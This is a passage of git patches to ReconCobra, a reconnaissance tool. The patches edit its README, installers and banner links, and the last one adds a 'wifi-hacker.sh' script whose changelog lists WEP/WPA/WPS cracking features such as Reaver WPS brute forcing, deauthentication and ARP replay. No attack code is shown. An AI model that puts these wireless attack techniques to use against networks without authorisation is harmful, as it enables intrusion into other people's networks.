2019 00:55:34 +0500 Subject: [PATCH 179/272] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index c35e1fa..1e855c7 100644 --- a/README.md +++ b/README.md @@ -60,6 +60,7 @@ EULA - cd Reconcobra - chmod u+x *.sh - ./Termux_Installer.sh +- Reboot your Termux - perl ReconCobraTermux.pl - Dependencies will be handled automatically for Termux - Third party software(s)/dependencies/modules will be handled automatically for Termux From 1ccfaeebcd7d674ec1f102f72740f913e55f13fd Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Mon, 1 Jul 2019 00:56:39 +0500 Subject: [PATCH 180/272] Update Termux_Installer.sh --- Termux_Installer.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/Termux_Installer.sh b/Termux_Installer.sh index d34f62b..f1ea16d 100644 --- a/Termux_Installer.sh +++ b/Termux_Installer.sh @@ -23,7 +23,7 @@ clear echo "Ultimate Recon and Foot Printing Software Version 1.0a"; -echo "Termux Installer By: Haroon Awan and Hacker_Universe"; +echo "Termux Installer By: Haroon Awan and HackerUniversee"; echo "Coded By: Haroon Awan"; echo "Mail: mrharoonawan@gmail.com"; echo ""; @@ -117,5 +117,5 @@ cd .. chmod u+x *.sh echo -e "[+] Installed Success!"; -echo -e "[+] Please restart your Termux"; -echo -e "[+] Upon successful restart enter this command for interface, perl ReconCobratermux.pl"; \ No newline at end of file +echo -e "[+] Reboot Termux"; +echo -e "[+] Upon successful reboot enter for interface, perl ReconCobratermux.pl"; From 4cc630af137275bf9503f7b74afb784ce3400e1c Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Mon, 1 Jul 2019 06:18:38 +0500 Subject: [PATCH 181/272] Add files via upload --- ReconCobra.pl | 4 ++-- ReconCobraTermux.pl | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index 91b0fb6..4582fca 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -674,10 +674,10 @@ sub banner { print color('bold red on_blue')," Homepage ";print color('reset'),"";print color('bold red')," http://www.instagram.com/\Hackeruniversee\n"; print color('reset'); -print color('bold yellow on_red')," Official Web ";print color('reset'),"";print color('bold yellow')," http://www.mubassirkamdar.com\n"; +print color('bold yellow on_red')," Web ";print color('reset'),"";print color('bold yellow')," http://www.mubassirkamdar.com\n"; print color('reset'); -print color('bold green on_black')," Facebook ";print color('reset'),"";print color('bold green')," fb.com\\Mubassir.py\n"; +print color('bold green on_black')," Facebook ";print color('reset'),"";print color('bold green')," fb.com/officialharoonawan\n"; print color('reset'); print color('bold white on_blue')," Instagram ";print color('reset'),"";print color('bold white')," http://www.instagram.com/\hackerfromscratch\n"; diff --git a/ReconCobraTermux.pl b/ReconCobraTermux.pl index defb09f..cb42c95 100644 --- a/ReconCobraTermux.pl +++ b/ReconCobraTermux.pl @@ -675,10 +675,10 @@ sub banner { print color('bold red on_blue')," Homepage ";print color('reset'),"";print color('bold red')," http://www.instagram.com/\Hackeruniversee\n"; print color('reset'); -print color('bold yellow on_red')," Official Web ";print color('reset'),"";print color('bold yellow')," http://www.mubassirkamdar.com\n"; +print color('bold yellow on_red')," Web ";print color('reset'),"";print color('bold yellow')," http://www.mubassirkamdar.com\n"; print color('reset'); -print color('bold green on_black')," Facebook ";print color('reset'),"";print color('bold green')," fb.com\\Mubassir.py\n"; +print color('bold green on_black')," Facebook ";print color('reset'),"";print color('bold green')," fb.com/officialharoonawan\n"; print color('reset'); print color('bold white on_blue')," Instagram ";print color('reset'),"";print color('bold white')," http://www.instagram.com/\hackerfromscratch\n"; From 2c2ad46deb171ae3d31eca049d9627556ace0c4a Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Mon, 1 Jul 2019 06:40:28 +0500 Subject: [PATCH 182/272] Update README.md --- README.md | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 1e855c7..631f495 100644 --- a/README.md +++ b/README.md @@ -74,7 +74,10 @@ EULA # Running in Parrot OS - ReconCobra -# Mail -- mrharoonawan@gmail.com +# Programmer - Haroon Awan +- mrharoonawan@gmail.com +# Main Contributor & Senior Tester +- Arun S. +- Instagram.com/Hackeruniversee From cac0779e6bc42db10640b00197e80986cbcef8d4 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Mon, 1 Jul 2019 06:41:25 +0500 Subject: [PATCH 183/272] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 631f495..2bb0393 100644 --- a/README.md +++ b/README.md @@ -74,7 +74,7 @@ EULA # Running in Parrot OS - ReconCobra -# Programmer +# Developer - Haroon Awan - mrharoonawan@gmail.com From 6764ab9f74f4209975fe7ce0602f17dbeea287e7 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Mon, 1 Jul 2019 06:41:38 +0500 Subject: [PATCH 184/272] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 2bb0393..293d439 100644 --- a/README.md +++ b/README.md @@ -78,6 +78,6 @@ EULA - Haroon Awan - mrharoonawan@gmail.com -# Main Contributor & Senior Tester +# Main Contributor & Tester - Arun S. - Instagram.com/Hackeruniversee From a8c8d0296ed7bd606360d812da693798722708cd Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Mon, 1 Jul 2019 07:23:26 +0500 Subject: [PATCH 185/272] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 293d439..ee2458c 100644 --- a/README.md +++ b/README.md @@ -11,7 +11,7 @@ EULA # Kali Interface - Software have 72 Options with full automation and powerful information gathering
- +
From e795017a254edadcc2522b6366258ee99b5d16aa Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Tue, 2 Jul 2019 02:20:11 +0500 Subject: [PATCH 186/272] Add files via upload --- ParrotOS_Installer.sh | 25 ++++++++++++------------- 1 file changed, 12 insertions(+), 13 deletions(-) diff --git a/ParrotOS_Installer.sh b/ParrotOS_Installer.sh index 56bfc5b..d153daa 100644 --- a/ParrotOS_Installer.sh +++ b/ParrotOS_Installer.sh @@ -48,19 +48,19 @@ function linux() { echo -e "$red [$green+$red]$off Installing Perl ..."; sudo apt-get install -y perl echo -e "$red [$green+$red]$off Installing JSON Module ..."; -cpan install JSON +cpan -fi JSON echo -e "$red [$green+$red]$off Installing Extra Perl Modules ..."; -echo "y" | cpan install WWW::Mechanize -echo "y" | cpan install use HTML::TokeParser -echo "y" | cpan install Term::ANSIColor -echo "y" | cpan install Mojo::DOM -echo "y" | cpan install Data::Dumper -echo "y" | cpan install Win32::Console::ANSI -echo "y" | cpan install HTML::TableExtract -echo "y" | cpan install Data::Validate::Domain -echo "y" | cpan install LWP::Protocol::https -echo "y" | cpan install Mozilla::CA -echo "y" | cpan install Bundle::LWP +echo "y" | cpan -fi WWW::Mechanize +echo "y" | cpan -fi use HTML::TokeParser +echo "y" | cpan -fi Term::ANSIColor +echo "y" | cpan -fi Mojo::DOM +echo "y" | cpan -fi Data::Dumper +echo "y" | cpan -fi Win32::Console::ANSI +echo "y" | cpan -fi HTML::TableExtract +echo "y" | cpan -fi Data::Validate::Domain +echo "y" | cpan -fi LWP::Protocol::https +echo "y" | cpan -fi Mozilla::CA +echo "y" | cpan -fi Bundle::LWP echo -e "$red [$green+$red]$off Checking directories..." @@ -147,7 +147,6 @@ cd .. cd .. chmod u+x *.sh cp * -r /usr/share/ReconCobra -cp *.sh /usr/share/ReconCobra if [ -d "/usr/share/ReconCobra" ] ; then From 0a7b2f3785ae34326da1eba15733d3a127720beb Mon Sep 17 00:00:00 2001 From: Hacker_Universe <41442211+HackerUniverse@users.noreply.github.com> Date: Tue, 2 Jul 2019 02:33:34 -0700 Subject: [PATCH 187/272] updated echo "y" | wget https://cpan.metacpan.org/authors/id/O/OA/OALDERS/WWW-Mechanize-1.91.tar.gz tar -xvf WWW-Mechanize-1.91.tar.gz cd WWW-Mechanize-1.91 perl Makefile.PL make make install cd .. --- ParrotOS_Installer.sh | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/ParrotOS_Installer.sh b/ParrotOS_Installer.sh index d153daa..231e14b 100644 --- a/ParrotOS_Installer.sh +++ b/ParrotOS_Installer.sh @@ -50,7 +50,13 @@ sudo apt-get install -y perl echo -e "$red [$green+$red]$off Installing JSON Module ..."; cpan -fi JSON echo -e "$red [$green+$red]$off Installing Extra Perl Modules ..."; -echo "y" | cpan -fi WWW::Mechanize +echo "y" | wget wget https://cpan.metacpan.org/authors/id/O/OA/OALDERS/WWW-Mechanize-1.91.tar.gz +tar -xvf WWW-Mechanize-1.91.tar.gz +cd WWW-Mechanize-1.91 +perl Makefile.PL +make +make install +cd .. echo "y" | cpan -fi use HTML::TokeParser echo "y" | cpan -fi Term::ANSIColor echo "y" | cpan -fi Mojo::DOM From 28a44b30b9530aa06a426e8c5441ced48c11e57f Mon Sep 17 00:00:00 2001 From: Hacker_Universe <41442211+HackerUniverse@users.noreply.github.com> Date: Wed, 3 Jul 2019 16:37:53 +0530 Subject: [PATCH 188/272] Typo Typo --- ParrotOS_Installer.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ParrotOS_Installer.sh b/ParrotOS_Installer.sh index 231e14b..811ab5d 100644 --- a/ParrotOS_Installer.sh +++ b/ParrotOS_Installer.sh @@ -50,7 +50,7 @@ sudo apt-get install -y perl echo -e "$red [$green+$red]$off Installing JSON Module ..."; cpan -fi JSON echo -e "$red [$green+$red]$off Installing Extra Perl Modules ..."; -echo "y" | wget wget https://cpan.metacpan.org/authors/id/O/OA/OALDERS/WWW-Mechanize-1.91.tar.gz +echo "y" |wget https://cpan.metacpan.org/authors/id/O/OA/OALDERS/WWW-Mechanize-1.91.tar.gz tar -xvf WWW-Mechanize-1.91.tar.gz cd WWW-Mechanize-1.91 perl Makefile.PL From e1549bb1d319e0d98bfe907b402bdaf2555cb5f1 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Wed, 3 Jul 2019 22:10:18 +0500 Subject: [PATCH 189/272] Update README.md --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index ee2458c..ccb272a 100644 --- a/README.md +++ b/README.md @@ -49,7 +49,7 @@ EULA # Parrot OS Installation - git clone https://github.com/haroonawanofficial/ReconCobra.git - cd Reconcobra -- sudo chmod u+x *.sh +- chmod u+x *.sh - Bash ParrotOS_Installer.sh - ReconCobra will integrate as system software - Dependencies will be handled automatically @@ -72,12 +72,12 @@ EULA - perl ReconCobraTermux.pl # Running in Parrot OS -- ReconCobra +- ReconCobra or perl ReconCobra.pl # Developer - Haroon Awan - mrharoonawan@gmail.com -# Main Contributor & Tester +# Co-developer & Senior Tester - Arun S. - Instagram.com/Hackeruniversee From 3ddf0fab5cdc3f4e98642993831be9cec85fd3e2 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Thu, 4 Jul 2019 05:45:22 +0500 Subject: [PATCH 190/272] Update README.md --- README.md | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/README.md b/README.md index ccb272a..944b4ea 100644 --- a/README.md +++ b/README.md @@ -37,6 +37,27 @@ EULA
+# Brief Introduction +- What is ReconCobra? +ReconCobra is useful in Banks, Private Organisations and Ethical hacker personnel for legal auditing + + +- Why ReconCobra? +It serves as a defense method to find as much as information possible for gaining unauthorised access and intrusion. +With the emergence of more advanced technology, cybercriminals have also found more ways to get into the system of many organizations. +ReconCobra software can audit, firewall behaviour, if it is leaking backend machines/server and replying pings, it can find internal and +external networks where many software’s like erp, mail firewalls are installed, exposing servers so it do Footprinting, Scanning & Enumeration +as much as possible of target, to discover and collect most possible informations like username, web technologies, files, endpoint, api and much more. + It’s first step to stop cyber criminals by securing your Infrastructural Information Gathering leakage. +ReconCobra is false positive free, when there is something it will show no matter what, if it is not, it will give blank results rather error. + + +# Youtube Video +
+ +
+ + # Kali Installation - git clone https://github.com/haroonawanofficial/ReconCobra.git - cd Reconcobra From d14046d5cdb770615e993819bf312f34c39b31e8 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Thu, 4 Jul 2019 05:50:20 +0500 Subject: [PATCH 191/272] Update README.md --- README.md | 28 ++++++++++------------------ 1 file changed, 10 insertions(+), 18 deletions(-) diff --git a/README.md b/README.md index 944b4ea..dbb50bc 100644 --- a/README.md +++ b/README.md @@ -1,13 +1,13 @@ # F.A.Q - Reconcobra is Foot printing software for Ultimate Information Gathering +- Runs on Kali +- Runs on Parrot OS +- Runs on Arch Linux +- Runs on Termux # LICENSE EULA -# ReconCobra -- Runs on Kali -- Runs on Termux - # Kali Interface - Software have 72 Options with full automation and powerful information gathering
@@ -38,24 +38,16 @@ EULA
# Brief Introduction -- What is ReconCobra? -ReconCobra is useful in Banks, Private Organisations and Ethical hacker personnel for legal auditing - - -- Why ReconCobra? -It serves as a defense method to find as much as information possible for gaining unauthorised access and intrusion. -With the emergence of more advanced technology, cybercriminals have also found more ways to get into the system of many organizations. -ReconCobra software can audit, firewall behaviour, if it is leaking backend machines/server and replying pings, it can find internal and -external networks where many software’s like erp, mail firewalls are installed, exposing servers so it do Footprinting, Scanning & Enumeration -as much as possible of target, to discover and collect most possible informations like username, web technologies, files, endpoint, api and much more. - It’s first step to stop cyber criminals by securing your Infrastructural Information Gathering leakage. +- ReconCobra is useful in Banks, Private Organisations and Ethical hacker personnel for legal auditing. +- It serves as a defense method to find as much as information possible for gaining unauthorised access and intrusion. +- With the emergence of more advanced technology, cybercriminals have also found more ways to get into the system of many organizations. +- ReconCobra software can audit, firewall behaviour, if it is leaking backend machines/server and replying pings, it can find internal and external networks where many software’s like erp, mail firewalls are installed, exposing servers so it do Footprinting, Scanning & Enumeration as much as possible of target, to discover and collect most possible informations like username, web technologies, files, endpoint, api and much more. +- It’s first step to stop cyber criminals by securing your Infrastructural Information Gathering leakage. ReconCobra is false positive free, when there is something it will show no matter what, if it is not, it will give blank results rather error. # Youtube Video -
- -
+![Everything Is AWESOME](https://img.youtube.com/vi/StTqXEQ2l-Y/0.jpg)](https://www.youtube.com/watch?v=TupCmgzp6hg&feature=youtu.be "Everything Is AWESOME") # Kali Installation From fa350e5490de78022be790ce7344935859c962f7 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Thu, 4 Jul 2019 05:52:28 +0500 Subject: [PATCH 192/272] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index dbb50bc..ca137d6 100644 --- a/README.md +++ b/README.md @@ -47,7 +47,7 @@ ReconCobra is false positive free, when there is something it will show no matte # Youtube Video -![Everything Is AWESOME](https://img.youtube.com/vi/StTqXEQ2l-Y/0.jpg)](https://www.youtube.com/watch?v=TupCmgzp6hg&feature=youtu.be "Everything Is AWESOME") +![ReconCobra Youtube Video](http://oi66.tinypic.com/24zbvb8.jpg)](https://www.youtube.com/watch?v=TupCmgzp6hg&feature=youtu.be "ReconCobra") # Kali Installation From 5bd9dcd1021686cf332f210ed084499bbb466107 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Thu, 4 Jul 2019 05:54:00 +0500 Subject: [PATCH 193/272] Update README.md --- README.md | 20 +++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/README.md b/README.md index ca137d6..142c704 100644 --- a/README.md +++ b/README.md @@ -1,10 +1,3 @@ -# F.A.Q -- Reconcobra is Foot printing software for Ultimate Information Gathering -- Runs on Kali -- Runs on Parrot OS -- Runs on Arch Linux -- Runs on Termux - # LICENSE EULA @@ -37,7 +30,16 @@ EULA -# Brief Introduction +# What is ReconCobra +- Reconcobra is Foot printing software for Ultimate Information Gathering + +# Supported OS +- Runs on Kali +- Runs on Parrot OS +- Runs on Arch Linux +- Runs on Termux + +# Brief Introduction - ReconCobra is useful in Banks, Private Organisations and Ethical hacker personnel for legal auditing. - It serves as a defense method to find as much as information possible for gaining unauthorised access and intrusion. - With the emergence of more advanced technology, cybercriminals have also found more ways to get into the system of many organizations. @@ -46,7 +48,7 @@ EULA ReconCobra is false positive free, when there is something it will show no matter what, if it is not, it will give blank results rather error. -# Youtube Video +# Youtube ![ReconCobra Youtube Video](http://oi66.tinypic.com/24zbvb8.jpg)](https://www.youtube.com/watch?v=TupCmgzp6hg&feature=youtu.be "ReconCobra") From a5a1c5f687eeb065bbbfd455ecff3fd99357c35c Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Thu, 4 Jul 2019 05:54:57 +0500 Subject: [PATCH 194/272] Update README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 142c704..fac3ae1 100644 --- a/README.md +++ b/README.md @@ -49,7 +49,8 @@ ReconCobra is false positive free, when there is something it will show no matte # Youtube -![ReconCobra Youtube Video](http://oi66.tinypic.com/24zbvb8.jpg)](https://www.youtube.com/watch?v=TupCmgzp6hg&feature=youtu.be "ReconCobra") +![ReconCobra Youtube Video](http://oi66.tinypic.com/24zbvb8.jpg) +(https://www.youtube.com/watch?v=TupCmgzp6hg&feature=youtu.be "ReconCobra") # Kali Installation From 01c663e33b3d6c6157d04bd865da8f83f5d3cb46 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Thu, 4 Jul 2019 05:55:49 +0500 Subject: [PATCH 195/272] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index fac3ae1..702c6ef 100644 --- a/README.md +++ b/README.md @@ -50,7 +50,7 @@ ReconCobra is false positive free, when there is something it will show no matte # Youtube ![ReconCobra Youtube Video](http://oi66.tinypic.com/24zbvb8.jpg) -(https://www.youtube.com/watch?v=TupCmgzp6hg&feature=youtu.be "ReconCobra") +(https://tinyurl.com/yyj9mbz9) # Kali Installation From b4b4496ff809b9f5eea8c93383455a6377f132b7 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Thu, 4 Jul 2019 05:56:19 +0500 Subject: [PATCH 196/272] Update README.md --- README.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 702c6ef..2ea556d 100644 --- a/README.md +++ b/README.md @@ -48,9 +48,10 @@ EULA ReconCobra is false positive free, when there is something it will show no matter what, if it is not, it will give blank results rather error. -# Youtube -![ReconCobra Youtube Video](http://oi66.tinypic.com/24zbvb8.jpg) +# Youtube Video (https://tinyurl.com/yyj9mbz9) +![ReconCobra Youtube Video](http://oi66.tinypic.com/24zbvb8.jpg) + # Kali Installation From 6ad223ad1af94036052722faf37b554d0f55124e Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Thu, 4 Jul 2019 05:56:57 +0500 Subject: [PATCH 197/272] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 2ea556d..35e780e 100644 --- a/README.md +++ b/README.md @@ -50,6 +50,7 @@ ReconCobra is false positive free, when there is something it will show no matte # Youtube Video (https://tinyurl.com/yyj9mbz9) + ![ReconCobra Youtube Video](http://oi66.tinypic.com/24zbvb8.jpg) From 7c005a9ab7ebe7d32d0adfd5c13a835d3f9d15d7 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Thu, 4 Jul 2019 05:58:32 +0500 Subject: [PATCH 198/272] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 35e780e..fd07603 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,7 @@ # LICENSE EULA -# Kali Interface +# Linux OS Interface - Software have 72 Options with full automation and powerful information gathering
From e6023d1eafb59cda818253f15bc3f84ba1c453b7 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Thu, 4 Jul 2019 05:59:07 +0500 Subject: [PATCH 199/272] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index fd07603..97647a9 100644 --- a/README.md +++ b/README.md @@ -30,7 +30,7 @@ EULA
-# What is ReconCobra +# ReconCobra - Reconcobra is Foot printing software for Ultimate Information Gathering # Supported OS From b7b7b028ec73a70f8d225f9680b4a29bdd5b2a75 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 19 Jul 2019 01:52:52 +0500 Subject: [PATCH 200/272] Add files via upload --- wifi-hacker.sh | 7063 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 7063 insertions(+) create mode 100644 wifi-hacker.sh diff --git a/wifi-hacker.sh b/wifi-hacker.sh new file mode 100644 index 0000000..9c66269 --- /dev/null +++ b/wifi-hacker.sh @@ -0,0 +1,7063 @@ +#!/bin/bash + + +############################################################################ +# CREDITS BEGIN ######################################################## +############################################################################ + + +# WiFi Hacker v2.0 +# esc0rtd3w 2019 + +# https://github.com/esc0rtd3w/wifi-hacker/ + +# Uses parts of the aircrack-ng suite, reaver, wifite, and many other tools + + +############################################################################ +# CREDITS END ########################################################## +############################################################################ + + + + + +############################################################################ +# VERSION HISTORY BEGIN ################################################ +############################################################################ + +# v2.0 +# - Added support for new Gnome terminal options. Tested in Kali 2018.4 + +# v1.9 +# - Added support for Wash. Currently used for dumping scan info out to text. +# - Added "Bruteforce Hidden SSID Options" To Extras Menu and updated bruteforceHiddenSSID() Function. +# - Updated Menu Navigation to restrict from entering Extras Menu until after a wireless adapter has been selected. +# - Configured updates with new coloring, and now will only update if remote version is higher than local version. +# - Cleaned up code for doSleepMessage() Function. Now takes 3 arguments, "message", "time", and "color". +# - Updated Extras Menu. Added wpa_supplicant enable and disable options. Updated wpa_cli options. +# - Updated Reaver save session to only save a backup if current session file exists. +# - Fixed and updated Reaver output post screen that was broken in the last release version. + +# v1.8 +# - Cleaned up scripting and moved all global hotkey triggers to a loadMenuHotkeys Function. +# - Added a bruteforceHiddenSSID() Function to handle hidden SSID name reveals. +# - Added logging to XML file from airodump-ng when scanning Access Points for all encryption types. +# - Added automatic 10 second timeout for Update Menu to continue to main menu for attacking. +# - Fixed Update Menu. "Check For Update" and "Apply New Update" are now functional. +# - Update Menu now loads automatically after accepting license agreement. +# - Added support for parsing network adapter names for displaying when selecting adapter to use. +# - Added a check for PixieWPS attacks. If failed, will now default to normal Reaver attack. + +# v1.7 +# - Currently supports up to 10 wifi adapters. +# - Changed hotkey for "Manual Adapter Entry" from "M" to "C", because of conflicting with main menu hotkey +# - Added adapter check after disclaimer is agreed, so the main menu will show the correct number of adapters. +# - Updated "killCounterMax" to use "interfacesFound" value for "stopMonitorMode()" function +# - Added "checkMultipleAdapters" Function +# - Added number of interfaces displayed on stats banner. +# - Fixed "Interface Name" on stats banner. +# - Updated airodump-ng scripting for several functions. +# - Fixed PixieDust toggles. They were reversed, disable turned on and vice/versa. +# - Updated airodump-ng windows to only scan for the encryption type that is currently being targeted. + +# v1.6 +# - Added a "forceDisconnectWiFi" function to help fix active internet connection issues. +# - Changed the handling of "WiFi Force Disconnect". Now, after accepting the agreement, the main menu will only load if the connection status is "0". If the status is "1", meaning the WiFi is connected to an access point, the "forceDisconnectWiFi" and "checkNetworkStatus" functions are called until the connection is released. This allows for better control of correcting errors resulting in having an active network connection. +# - Added "ifconfig" and "iwconfig" output to Extras Interface Menu +# - Merged "checkForEmptyBSSID", "checkForEmptyESSID", and "checkForEmptyChannel" into "checkForEmptyCredentials" function. +# - Removed "arAttackDeAuthOnRetry" function. This was a duplicate and now uses "arAttackDeAuth" function instead. +# - Cleaned up "stopMonitorMode" function. +# - Added support for bully, used for WPS attacks. +# - Fixed issue with active network connection not force disconnecting before attacks begin. +# - Updated text for several menus. +# - Fixed (mostly) the issue with backup ZIP files overwriting old backups. + +# v1.5 +# - Updated code to handle new cleaning invoked backup options for "backupSessionFiles" function. +# - Added progress text for "cleanCaptureFiles", "cleanSessionFiles", and backupSessionFiles" functions. +# - Fixed "Clean Session Files" and Clean Capture Files" options from Extras Menu. +# - Now saving session files after Wifite Auto Attacks to prevent the .cap, .xor, etc files from being deleted. +# - Updated minimal number of IVs to 5000 before cracking for Wifite WEP Auto Attacks. +# - Fixed Wifite auto arguments for all encryption types. +# - Updated Misc Menu Text +# - Added "aireplay-ng" and "packetforge-ng" to dependency check. +# - Added terminal background colors and updated foreground text color selection. +# - Added a "more" option that can be typed under WEP Attack Menu. This menu has "TCP Dump", "Generate ARP Packet", "Forge ARP Request", and "Replay ARP Request" options. + +# v1.4 +# - Updated WPS attack to use PixieDust as a default option after 10 second timeout if no selection is made. +# - Added a manual interface name override option to "getWirelessInterfaces" function. Set manually to wlan0, wlan1, wlan2, etc. This will automatically display during normal execution and you may ignore it for defaults. +# - Added a "refresh" flag that is set to hide override text on subsequent calls to "getWirelessInterfaces" function. +# - Added "bannerSlim" function to use a "Title Only" banner for disclaimer and unreleased menus. +# - Updated text for gathering target info on all the different encryption types. +# - Updated sleep messages for WPS attacks. +# - Fixed PixieDust option not setting correctly if nothing is selected at menu choice. +# - Updated text for all banners. Changed the main title text and domain name. +# - Fixed all the killProcess functions to now kill the process until it no longer shows up under process list. +# - Added a force exit for aircrack-ng before cracking attempt. This attempts to fix the corrupt errors when scanning IVS and CAP files. +# - Fixed previous Airodump and Aireplay windows not closing when launching a new dump session for WEP Attack Menu. +# - Added "findCaptureFiles" function to list all available cap, ivs, csv, netxml files for cracking. +# - Added terminal colors to a "setTerminalColors" function. +# - Added "checkUpdate" and "getUpdate" functions to grab the newest shell script directly. +# - Updated text on stats banner. Changed "Interface Name: " to "Interface: " to allow for longer ESSID names without flooding to the next line. + +# v1.3 +# - Added support for AirCrack Suite v1.2+ using the new wlanXmon format instead of monX. +# - Fixed "wlanXmon" error in Kali Linux 2.x caused by new AirCrack Suite 1.2+. See "fixKaliTwoMonError" function for more info. +# - Added a function to check the Linux version running. +# - Removed Honeypot Mode from the banners. It has been relocated to the Advanced Menu. +# - Added "$interfaceName" and "$interfaceMode" variables. +# - Added interfaceName to the stats banner. This will display the current interface name (wlan0, mon0, wlan0mon, etc). +# - Added interfaceMode to the main banner. Valid Interface Modes are 0=Managed / 1=Monitor Standard / 2=Monitor New / 3=Monitor Other / 4=Unknown +# - Added "Open Interface Options" item to Extras Menu. +# - Added "Interface Up", "Interface Down", "Interface Managed", and "Interface Monitor" to Extras Menu. The Up and Down functions affect the interface ONLY for monitor mode (mon0, mon1, wlan0mon, wlan1mon, etc) currently. Please use Enable/Disable Channel Hopping to bring up/down a managed interface (i.e. wlan0, wlan1, etc). +# - Added support for all new Reaver arguments and options for Kali 2.x build. +# - Added airodump-ng WPS scanning options to now show WPS connections without using wifite to show them. +# - Removed the wifite window from being launched with standard WPS attack. Replaced by --wps flag in airodump-ng. +# - Added "fixAirmonCompat" function to send the command to kill any processes that may interfere. +# - Removed the "initAirmon" function that was inactive. +# - Added the airmon-ng conflicting process fix to Extras Menu. +# - Added "wlanXmon" interfaces for monitor mode termination. A better way of doing this will be done soon! +# - Fixed not returning to Extras Menu from "Open Interfaces Menu". +# - Added "isDebugMode" variable to show/hide certain areas that may need additional testing output. Disabled by default. +# - Fixed default WEP dump scanning channel hopping during attack. + +# v1.2 +# - Fixed the top text of disclaimer banner from being cut off. + +# v1.1 +# - Now globally enforcing disconnection from any active network upon agreement of disclaimer to resolve "Channel Hopping" issues. This must be done for all attacks to work properly. +# - Added "HoneyPot Mode" to main toolbar. The hotkey is "Z" to launch from anywhere in script. There is currently support for airbase-ng and wifi-honey. +# - Fixed "Negative One Channel Error" occuring in airodump-ng on Kali Linux 1.0.6 and higher. This is fixed globally and should work on all platforms. +# - Added "Start NetworkManager", "Stop NetworkManager", "Stop wpa_supplicant", "Stop wpa_cli", "Enable Channel Hopping", and "Disable Channel Hopping" to Extras menu. +# - Enabled the Advanced Menu. Also enabled the hotkey "A" to launch it. Future releases will contain highly configurable settings for supported apps and modules. +# - Added support for nmap and netcat, for use during post exploitation. +# - Fixed some $bssid and $essid variable errors in WEP attacks. +# - Fixed airodump window not closing if using load session hotkey during victim info, and then returning to the post monitor mode menu. +# - Fixed a bug where the post monitor mode screen would still load if no encryption type was selected. If the encryption type is empty, it will now return to the main menu. +# - Updated on-screen instructions for using the airdump windows and other terminal windows that are opened during target/victim setup. +# - Fixed network connection not refreshing the correct status when returning to the main menu if the network status has changed while still on the menu. +# - Added a second check to verify that no active network connection is present before launching an attack. +# - Moved autoMode text towards the top of the post monitor mode initiation screen to be more easily visible to the user. +# - Added support for post-exploitation attacks after a target has been compromised. +# - Added support for "wifite". This is used for some of the newer automated attack modes as well as an alternate option to aircrack-suite if desired. +# - Added Auto Attack Mode to the main menu. This option uses wifite to scan and attack any vulnerable network. +# - Changed some text around on some items to be more clear and understandable. +# - Added Auto modes for each attack type when selected. Once an encryption type is selected, you can type "autowep, autowps, autowpa, and 